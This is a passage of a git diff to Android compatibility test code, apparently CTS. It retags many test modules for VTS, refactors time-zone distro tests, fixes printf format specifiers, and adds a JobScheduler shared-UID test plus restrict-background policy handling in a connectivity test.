                 DistroVersion.CURRENT_FORMAT_MINOR_VERSION, systemRulesVersion, VALID_REVISION);
-        TimeZoneDistro distro = createValidDistroBuilder()
+        byte[] distroBytes = createValidDistroBuilder()
                 .setDistroVersion(distroVersion)
                 .setTzDataFile(createValidTzDataBytes(systemRulesVersion))
-                .build();
-        unpackOnHost(dataCurrentDir, distro);
+                .buildBytes();
+        unpackOnHost(dataCurrentDir, distroBytes);
 
         // Push the host test directory and contents to the device.
         pushHostTestDirToDevice();
@@ -675,7 +675,7 @@
         assertEquals(0, runTzDataCheckOnDevice());
 
         // Assert the current data directory was not touched.
-        assertDeviceDirContainsDistro(dataCurrentDir, distro);
+        assertDeviceDirContainsDistro(dataCurrentDir, distroBytes);
     }
 
     // {dataDir}/current is valid and the tzdata file in /system is the newer.
@@ -692,11 +692,11 @@
                 DistroVersion.CURRENT_FORMAT_MINOR_VERSION,
                 distroRulesVersion,
                 VALID_REVISION);
-        TimeZoneDistro distro = createValidDistroBuilder()
+        byte[] distroBytes = createValidDistroBuilder()
                 .setDistroVersion(distroVersion)
                 .setTzDataFile(createValidTzDataBytes(distroRulesVersion))
-                .build();
-        unpackOnHost(dataCurrentDir, distro);
+                .buildBytes();
+        unpackOnHost(dataCurrentDir, distroBytes);
 
         // Push the host test directory and contents to the device.
         pushHostTestDirToDevice();
@@ -722,9 +722,9 @@
         new FileOutputStream(uninstallTombstoneFile.hostFile()).close();
     }
 
-    private static void unpackOnHost(PathPair path, TimeZoneDistro distro) throws Exception {
+    private static void unpackOnHost(PathPair path, byte[] distroBytes) throws Exception {
         createHostDirectory(path);
-        distro.extractTo(path.hostFile());
+        new TimeZoneDistro(distroBytes).extractTo(path.hostFile());
     }
 
     private static TimeZoneDistroBuilder createValidDistroBuilder() throws Exception {
@@ -910,7 +910,7 @@
         assertTrue(getDevice().doesFileExist(path.devicePath));
     }
 
-    private void assertDeviceDirContainsDistro(PathPair distroPath, TimeZoneDistro expectedDistro)
+    private void assertDeviceDirContainsDistro(PathPair distroPath, byte[] expectedDistroBytes)
             throws Exception {
         // Pull back just the version file and compare it.
         File localFile = mTestRootDir.createSubPath("temp.file").hostFile();
@@ -921,7 +921,8 @@
                     getDevice().pullFile(remoteVersionFile, localFile));
 
             byte[] bytes = Files.readAllBytes(localFile.toPath());
-            assertArrayEquals(bytes, expectedDistro.getDistroVersion().toBytes());
+            assertArrayEquals(bytes,
+                    new TimeZoneDistro(expectedDistroBytes).getDistroVersion().toBytes());
         } finally {
             localFile.delete();
         }
diff --git a/hostsidetests/ui/Android.mk b/hostsidetests/ui/Android.mk
index be29fdd..af7e2c9 100644
--- a/hostsidetests/ui/Android.mk
+++ b/hostsidetests/ui/Android.mk
@@ -31,7 +31,7 @@
 LOCAL_CTS_TEST_PACKAGE := android.ui.cts
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/ui/appA/Android.mk b/hostsidetests/ui/appA/Android.mk
index 4699e6c..7da5606 100644
--- a/hostsidetests/ui/appA/Android.mk
+++ b/hostsidetests/ui/appA/Android.mk
@@ -27,7 +27,7 @@
 LOCAL_PACKAGE_NAME := CtsDeviceTaskSwitchingAppA
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_SDK_VERSION := current
 
diff --git a/hostsidetests/ui/appB/Android.mk b/hostsidetests/ui/appB/Android.mk
index 39ef2c9..07e2858 100644
--- a/hostsidetests/ui/appB/Android.mk
+++ b/hostsidetests/ui/appB/Android.mk
@@ -27,7 +27,7 @@
 LOCAL_PACKAGE_NAME := CtsDeviceTaskSwitchingAppB
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_SDK_VERSION := current
 
diff --git a/hostsidetests/ui/control/Android.mk b/hostsidetests/ui/control/Android.mk
index 771431d..688ace7 100644
--- a/hostsidetests/ui/control/Android.mk
+++ b/hostsidetests/ui/control/Android.mk
@@ -27,7 +27,7 @@
 LOCAL_PACKAGE_NAME := CtsDeviceTaskSwitchingControl
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_SDK_VERSION := current
 
diff --git a/hostsidetests/usage/Android.mk b/hostsidetests/usage/Android.mk
index dd0eb86..ff4f5e0 100644
--- a/hostsidetests/usage/Android.mk
+++ b/hostsidetests/usage/Android.mk
@@ -26,7 +26,7 @@
 LOCAL_CTS_TEST_PACKAGE := android.host.app.usage
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/usage/app/Android.mk b/hostsidetests/usage/app/Android.mk
index 0d765e7..59626d6 100644
--- a/hostsidetests/usage/app/Android.mk
+++ b/hostsidetests/usage/app/Android.mk
@@ -26,6 +26,6 @@
 LOCAL_PACKAGE_NAME := CtsAppUsageTestApp
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/usb/Android.mk b/hostsidetests/usb/Android.mk
index 47b1f13..f08261e 100644
--- a/hostsidetests/usb/Android.mk
+++ b/hostsidetests/usb/Android.mk
@@ -26,7 +26,7 @@
 LOCAL_CTS_TEST_PACKAGE := android.usb
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/usb/SerialTestApp/Android.mk b/hostsidetests/usb/SerialTestApp/Android.mk
index 62bc7e2..2ddf30f 100644
--- a/hostsidetests/usb/SerialTestApp/Android.mk
+++ b/hostsidetests/usb/SerialTestApp/Android.mk
@@ -29,6 +29,6 @@
 LOCAL_SDK_VERSION := current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/webkit/Android.mk b/hostsidetests/webkit/Android.mk
index 897940b..663a079 100644
--- a/hostsidetests/webkit/Android.mk
+++ b/hostsidetests/webkit/Android.mk
@@ -26,7 +26,7 @@
 LOCAL_CTS_TEST_PACKAGE := android.webkit.hostside
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/webkit/app/Android.mk b/hostsidetests/webkit/app/Android.mk
index 28c0c01..60e9f3f 100644
--- a/hostsidetests/webkit/app/Android.mk
+++ b/hostsidetests/webkit/app/Android.mk
@@ -38,6 +38,6 @@
 LOCAL_DEX_PREOPT := false
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/SynchronousPixelCopy.java b/libs/deviceutillegacy/src/com/android/compatibility/common/util/SynchronousPixelCopy.java
similarity index 100%
rename from common/device-side/util/src/com/android/compatibility/common/util/SynchronousPixelCopy.java
rename to libs/deviceutillegacy/src/com/android/compatibility/common/util/SynchronousPixelCopy.java
diff --git a/run_unit_tests.sh b/run_unit_tests.sh
index 64ecf25..f9b3bfb 100755
--- a/run_unit_tests.sh
+++ b/run_unit_tests.sh
@@ -44,7 +44,6 @@
     cts-tradefed-tests\
     compatibility-device-info-tests\
     compatibility-manifest-generator-tests
-    compatibility-host-media-preconditions-tests\
     CompatibilityTestApp"
 
 pushd ${CTS_DIR}/..
@@ -75,4 +74,3 @@
 
 ${CTS_DIR}/tools/cts-tradefed/tests/run_tests.sh
 
-${CTS_DIR}/tests/tests/mediastress/preconditions/tests/run_tests.sh
diff --git a/suite/audio_quality/lib/Android.mk b/suite/audio_quality/lib/Android.mk
index cd19e85..2b3c22a 100644
--- a/suite/audio_quality/lib/Android.mk
+++ b/suite/audio_quality/lib/Android.mk
@@ -19,7 +19,7 @@
 LOCAL_SRC_FILES := $(call all-subdir-cpp-files)
 LOCAL_C_INCLUDES += $(LOCAL_PATH)/include $(LOCAL_PATH)/src
 LOCAL_STATIC_LIBRARIES += libutils liblog libtinyalsa libcutils libtinyxml2
-LOCAL_CFLAGS:= -g -fno-exceptions
+LOCAL_CFLAGS:= -g -fno-exceptions -Wno-unused-parameter
 LOCAL_LDFLAGS:= -g -lrt -ldl -lm -fno-exceptions
 LOCAL_MODULE_HOST_OS := linux
 LOCAL_MODULE:= libcts_audio_quality
diff --git a/suite/audio_quality/test/Android.mk b/suite/audio_quality/test/Android.mk
index 7a84802..f8fe13c 100644
--- a/suite/audio_quality/test/Android.mk
+++ b/suite/audio_quality/test/Android.mk
@@ -33,7 +33,7 @@
 # need to keep everything in libcts_.. Otherwise, linker will drop some
 # functions and linker error happens
 LOCAL_WHOLE_STATIC_LIBRARIES := libcts_audio_quality
-LOCAL_CFLAGS:= -g -fno-exceptions
+LOCAL_CFLAGS:= -g -fno-exceptions -Wno-unused-parameter
 LOCAL_LDFLAGS:= -g -lrt -ldl -lm -fno-exceptions -lpthread
 LOCAL_CXX_STL := libc++_static
 LOCAL_MODULE_HOST_OS := linux
diff --git a/suite/audio_quality/test/LogTest.cpp b/suite/audio_quality/test/LogTest.cpp
index 4412338..51cde10 100644
--- a/suite/audio_quality/test/LogTest.cpp
+++ b/suite/audio_quality/test/LogTest.cpp
@@ -14,6 +14,7 @@
  * the License.
  */
 
+#include <inttypes.h>
 #include <stdint.h>
 #include <gtest/gtest.h>
 
@@ -46,12 +47,14 @@
     int64_t d = 3;
     int64_t e = 4;
     int64_t f = 5;
-    printf("printf %lld %lld %lld %lld %lld %lld\n", a, b, c, d, e, f);
-    LOGD(  "logd   %lld %lld %lld %lld %lld %lld", a, b, c, d, e, f);
-    LOGV(  "logv   %lld %lld %lld %lld %lld %lld", a, b, c, d, e, f);
-    LOGI(  "logi   %lld %lld %lld %lld %lld %lld", a, b, c, d, e, f);
-    LOGW(  "logw   %lld %lld %lld %lld %lld %lld", a, b, c, d, e, f);
-    LOGE(  "loge   %lld %lld %lld %lld %lld %lld", a, b, c, d, e, f);
+#define PrintABCDEF "%" PRId64 " %" PRId64 " %" PRId64 " %" PRId64 " %" PRId64 \
+    " %" PRId64
+    printf("printf " PrintABCDEF "\n", a, b, c, d, e, f);
+    LOGD(  "logd   " PrintABCDEF, a, b, c, d, e, f);
+    LOGV(  "logv   " PrintABCDEF, a, b, c, d, e, f);
+    LOGI(  "logi   " PrintABCDEF, a, b, c, d, e, f);
+    LOGW(  "logw   " PrintABCDEF, a, b, c, d, e, f);
+    LOGE(  "loge   " PrintABCDEF, a, b, c, d, e, f);
 
     Log::Instance()->setLogLevel(level);
 }
diff --git a/tests/JobScheduler/Android.mk b/tests/JobScheduler/Android.mk
index ae1fa4d..e58a494 100755
--- a/tests/JobScheduler/Android.mk
+++ b/tests/JobScheduler/Android.mk
@@ -22,12 +22,12 @@
 # When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner ub-uiautomator
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 # Must match the package name in CtsTestCaseList.mk
 LOCAL_PACKAGE_NAME := CtsJobSchedulerTestCases
diff --git a/tests/JobScheduler/AndroidManifest.xml b/tests/JobScheduler/AndroidManifest.xml
index 876882f..e433252 100755
--- a/tests/JobScheduler/AndroidManifest.xml
+++ b/tests/JobScheduler/AndroidManifest.xml
@@ -16,8 +16,8 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.jobscheduler.cts">
-
+    package="android.jobscheduler.cts"
+    android:sharedUserId="android.jobscheduler.cts.shared.uid">
     <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
     <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
     <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
@@ -48,4 +48,3 @@
             android:value="com.android.cts.runner.CtsTestRunListener" />
     </instrumentation>
 </manifest>
-
diff --git a/tests/JobScheduler/AndroidTest.xml b/tests/JobScheduler/AndroidTest.xml
index ed9f69c..855ad48 100644
--- a/tests/JobScheduler/AndroidTest.xml
+++ b/tests/JobScheduler/AndroidTest.xml
@@ -19,6 +19,7 @@
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsJobSchedulerTestCases.apk" />
         <option name="test-file-name" value="CtsJobSchedulerJobPerm.apk" />
+        <option name="test-file-name" value="CtsJobSchedulerSharedUid.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.jobscheduler.cts" />
diff --git a/tests/JobScheduler/jobperm/Android.mk b/tests/JobScheduler/jobperm/Android.mk
index ca00ca7..f54f8d6 100644
--- a/tests/JobScheduler/jobperm/Android.mk
+++ b/tests/JobScheduler/jobperm/Android.mk
@@ -26,7 +26,7 @@
     $(call all-java-files-under, src) \
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsJobSchedulerJobPerm
 
diff --git a/tests/JobScheduler/jobperm/README.txt b/tests/JobScheduler/jobperm/README.txt
new file mode 100644
index 0000000..f285815
--- /dev/null
+++ b/tests/JobScheduler/jobperm/README.txt
@@ -0,0 +1,2 @@
+This APK uses the same shared UID as CtsJobSchedulerTestCases. It has no code but exists for
+a shared-UID tests.
\ No newline at end of file
diff --git a/tests/JobScheduler/shareduid/Android.mk b/tests/JobScheduler/shareduid/Android.mk
new file mode 100644
index 0000000..ac4d8b3f
--- /dev/null
+++ b/tests/JobScheduler/shareduid/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Don't include this package in any target.
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    compatibility-device-util \
+
+LOCAL_SRC_FILES := \
+    $(call all-java-files-under, src) \
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_PACKAGE_NAME := CtsJobSchedulerSharedUid
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/JobScheduler/shareduid/AndroidManifest.xml b/tests/JobScheduler/shareduid/AndroidManifest.xml
new file mode 100755
index 0000000..756a067
--- /dev/null
+++ b/tests/JobScheduler/shareduid/AndroidManifest.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2017 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.jobscheduler.cts.shareduid"
+          android:sharedUserId="android.jobscheduler.cts.shared.uid">
+    <application>
+    </application>
+</manifest>
diff --git a/tests/JobScheduler/shareduid/src/android/jobscheduler/cts/shareduid/Empty.java b/tests/JobScheduler/shareduid/src/android/jobscheduler/cts/shareduid/Empty.java
new file mode 100644
index 0000000..229ed1f
--- /dev/null
+++ b/tests/JobScheduler/shareduid/src/android/jobscheduler/cts/shareduid/Empty.java
@@ -0,0 +1,19 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.jobscheduler.cts.shareduid;
+
+public class Empty {
+}
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/ConnectivityConstraintTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/ConnectivityConstraintTest.java
index c08b249..4486c15 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/ConnectivityConstraintTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/ConnectivityConstraintTest.java
@@ -28,6 +28,8 @@
 import android.net.wifi.WifiManager;
 import android.util.Log;
 
+import com.android.compatibility.common.util.SystemUtil;
+
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 
@@ -40,6 +42,12 @@
 @TargetApi(21)
 public class ConnectivityConstraintTest extends ConstraintTest {
     private static final String TAG = "ConnectivityConstraintTest";
+    private static final String RESTRICT_BACKGROUND_GET_CMD =
+            "cmd netpolicy get restrict-background";
+    private static final String RESTRICT_BACKGROUND_ON_CMD =
+            "cmd netpolicy set restrict-background true";
+    private static final String RESTRICT_BACKGROUND_OFF_CMD =
+            "cmd netpolicy set restrict-background false";
 
     /** Unique identifier for the job scheduled by this suite of tests. */
     public static final int CONNECTIVITY_JOB_ID = ConnectivityConstraintTest.class.hashCode();
@@ -53,6 +61,8 @@
     private boolean mHasTelephony;
     /** Track whether WiFi was enabled in case we turn it off. */
     private boolean mInitialWiFiState;
+    /** Track whether restrict background policy was enabled in case we turn it off. */
+    private boolean mInitialRestrictBackground;
 
     private JobInfo.Builder mBuilder;
 
@@ -71,12 +81,20 @@
                 new JobInfo.Builder(CONNECTIVITY_JOB_ID, kJobServiceComponent);
 
         mInitialWiFiState = mWifiManager.isWifiEnabled();
+        mInitialRestrictBackground = SystemUtil
+                .runShellCommand(getInstrumentation(), RESTRICT_BACKGROUND_GET_CMD)
+                .contains("enabled");
     }
 
     @Override
     public void tearDown() throws Exception {
         mJobScheduler.cancel(CONNECTIVITY_JOB_ID);
 
+        // Restore initial restrict background data usage policy
+        if (mInitialRestrictBackground) {
+            SystemUtil.runShellCommand(getInstrumentation(), RESTRICT_BACKGROUND_ON_CMD);
+        }
+
         // Ensure that we leave WiFi in its previous state.
         if (mWifiManager.isWifiEnabled() == mInitialWiFiState) {
             return;
@@ -174,6 +192,7 @@
         if (!checkDeviceSupportsMobileData()) {
             return;
         }
+        ensureRestrictBackgroundPolicyOff();
         disconnectWifiToConnectToMobile();
 
         kTestEnvironment.setExpectedExecutions(1);
@@ -313,6 +332,16 @@
         }
     }
 
+    /**
+     * Ensures that restrict background data usage policy is turned off.
+     * If the policy is on, it interferes with tests that relies on metered connection.
+     */
+    private void ensureRestrictBackgroundPolicyOff() throws Exception {
+        if (mInitialRestrictBackground) {
+            SystemUtil.runShellCommand(getInstrumentation(), RESTRICT_BACKGROUND_OFF_CMD);
+        }
+    }
+
     /** Capture the last connectivity change's network type and state. */
     private class ConnectivityActionReceiver extends BroadcastReceiver {
 
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/SharedUidTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/SharedUidTest.java
new file mode 100644
index 0000000..382828f
--- /dev/null
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/SharedUidTest.java
@@ -0,0 +1,100 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.jobscheduler.cts;
+
+import android.annotation.TargetApi;
+import android.app.job.JobInfo;
+import android.app.job.JobScheduler;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.PackageManager;
+import android.jobscheduler.MockJobService;
+import android.test.AndroidTestCase;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+@TargetApi(27)
+public class SharedUidTest extends AndroidTestCase {
+    private static final String TAG = "SharedUidTest";
+
+    private static final String OTHER_PACKAGE = "android.jobscheduler.cts.shareduid";
+    private static final long BROADCAST_TIMEOUT_SECONDS = 2 * 60;
+
+    /**
+     * Test to make sure disabling a package wouldn't cancel the jobs from other packages that use
+     * the same shared UID.
+     */
+    public void testCancelDisabledPackageJob() throws Exception {
+        final int JOBID = 1122331;
+
+        final JobScheduler js = getContext().getSystemService(JobScheduler.class);
+
+        try {
+            JobInfo ji = new JobInfo.Builder(JOBID,
+                    new ComponentName(getContext(), MockJobService.class))
+                    .setMinimumLatency(1000 * 60 * 60 * 24 /* 1 day */)
+                    .build();
+
+            js.cancel(JOBID);
+
+            assertEquals(JobScheduler.RESULT_SUCCESS, js.schedule(ji));
+
+            // The job should be scheduled.
+            assertNotNull("Job should be registered", js.getPendingJob(JOBID));
+
+            // Create a filter with the loweset priority to wait until the jobscheduelr receives the
+            // intent.
+            final CountDownLatch latch = new CountDownLatch(1);
+
+            final IntentFilter filter = new IntentFilter();
+            filter.addAction(Intent.ACTION_PACKAGE_CHANGED);
+            filter.addDataScheme("package");
+            filter.setPriority(IntentFilter.SYSTEM_LOW_PRIORITY);
+
+            getContext().registerReceiver(new BroadcastReceiver() {
+                @Override
+                public void onReceive(Context context, Intent intent) {
+                    if (OTHER_PACKAGE.equals(intent.getData().getSchemeSpecificPart())) {
+                        latch.countDown();
+                    }
+                }
+            }, filter);
+
+
+            // Disable the other package with the same UID.
+            final PackageManager pm = getContext().getPackageManager();
+            pm.setApplicationEnabledSetting(
+                    OTHER_PACKAGE,
+                    PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
+                    PackageManager.DONT_KILL_APP);
+
+            assertEquals(PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
+                    pm.getApplicationEnabledSetting(OTHER_PACKAGE));
+
+            // Wait until our receiver gets the broadcast.
+            assertTrue(latch.await(BROADCAST_TIMEOUT_SECONDS, TimeUnit.SECONDS));
+
+            // Make sure the job hasn't been canceled.
+            assertNotNull("Job shouldn't be canceled", js.getPendingJob(JOBID));
+        } finally {
+            js.cancel(JOBID);
+        }
+    }
+}
diff --git a/tests/acceleration/Android.mk b/tests/acceleration/Android.mk
index 845e291..81869bf 100644
--- a/tests/acceleration/Android.mk
+++ b/tests/acceleration/Android.mk
@@ -30,7 +30,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsAccelerationTestCases
 
diff --git a/tests/accessibility/Android.mk b/tests/accessibility/Android.mk
index d8da5efe..4cd7e92 100644
--- a/tests/accessibility/Android.mk
+++ b/tests/accessibility/Android.mk
@@ -27,7 +27,7 @@
 LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_SDK_VERSION := test_current
 
diff --git a/tests/accessibilityservice/Android.mk b/tests/accessibilityservice/Android.mk
index 979023e..5ae4980 100644
--- a/tests/accessibilityservice/Android.mk
+++ b/tests/accessibilityservice/Android.mk
@@ -26,7 +26,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsAccessibilityServiceTestCases
 
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java
index ea5b9fb..aa30f77 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java
@@ -26,7 +26,6 @@
 import android.accessibilityservice.GestureDescription.StrokeDescription;
 import android.content.Context;
 import android.content.pm.PackageManager;
-import android.content.res.Resources;
 import android.graphics.Matrix;
 import android.graphics.Path;
 import android.graphics.Point;
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java
index ab90d1e..18c02e5 100755
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java
@@ -45,6 +45,8 @@
 import android.widget.Button;
 import android.accessibilityservice.cts.R;
 
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
 import java.util.ArrayList;
 import java.util.LinkedList;
 import java.util.List;
@@ -601,10 +603,6 @@
 
     @MediumTest
     public void testWindowDockAndUndock_dividerWindowAppearsAndDisappears() throws Exception {
-
-        ActivityManager activityManager = (ActivityManager) getInstrumentation().getContext()
-                                            .getSystemService(Context.ACTIVITY_SERVICE);
-
         if (getInstrumentation().getContext().getPackageManager()
                 .hasSystemFeature(PackageManager.FEATURE_LEANBACK)) {
             // Android TV doesn't support the divider window
@@ -623,14 +621,22 @@
             // Do nothing, assume split screen multi window is supported.
         }
 
-        // ActivityManager determines Multiwindow support based on config config_supportMultiWindow
-        // and isLowRam.
-        if (!getInstrumentation().getContext().getResources().getBoolean(
-                Resources.getSystem().getIdentifier("config_supportsMultiWindow", "bool",
-                        "android")) || activityManager.isLowRamDevice()) {
-            // Check if multiWindow is supported.
+        /* In P as ActivityManager.supportsMultiWindow() becomes a @TestAPI
+           i.e. a compatibility requirement, make the test fail in the next API */
+        try {
+            final Method method = ActivityManager.class
+                    .getMethod("supportsMultiWindow", Context.class);
+            if (!(Boolean)method.invoke(getInstrumentation().getContext().getSystemService(
+                    ActivityManager.class), getInstrumentation().getContext())) {
+                // Check if multiWindow is supported.
+                return;
+            }
+        } catch (NoSuchMethodException e) {
+        } catch (IllegalAccessException e) {
+        } catch (InvocationTargetException e) {
             return;
         }
+
         setAccessInteractiveWindowsFlag();
         final UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
         assertFalse(isDividerWindowPresent(uiAutomation));
diff --git a/tests/admin/Android.mk b/tests/admin/Android.mk
index d30cca1..24fdda3 100644
--- a/tests/admin/Android.mk
+++ b/tests/admin/Android.mk
@@ -28,7 +28,7 @@
 LOCAL_PACKAGE_NAME := CtsAdminTestCases
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_INSTRUMENTATION_FOR := CtsAdminApp
 
diff --git a/tests/admin/app/Android.mk b/tests/admin/app/Android.mk
index b0e7ff5..22b5c83 100644
--- a/tests/admin/app/Android.mk
+++ b/tests/admin/app/Android.mk
@@ -29,7 +29,7 @@
 LOCAL_PACKAGE_NAME := CtsAdminApp
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_SDK_VERSION := current
 
diff --git a/tests/app/Android.mk b/tests/app/Android.mk
index f479dca..6bd42ef 100644
--- a/tests/app/Android.mk
+++ b/tests/app/Android.mk
@@ -37,7 +37,7 @@
     $(call all-java-files-under, appSdk25/src) \
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
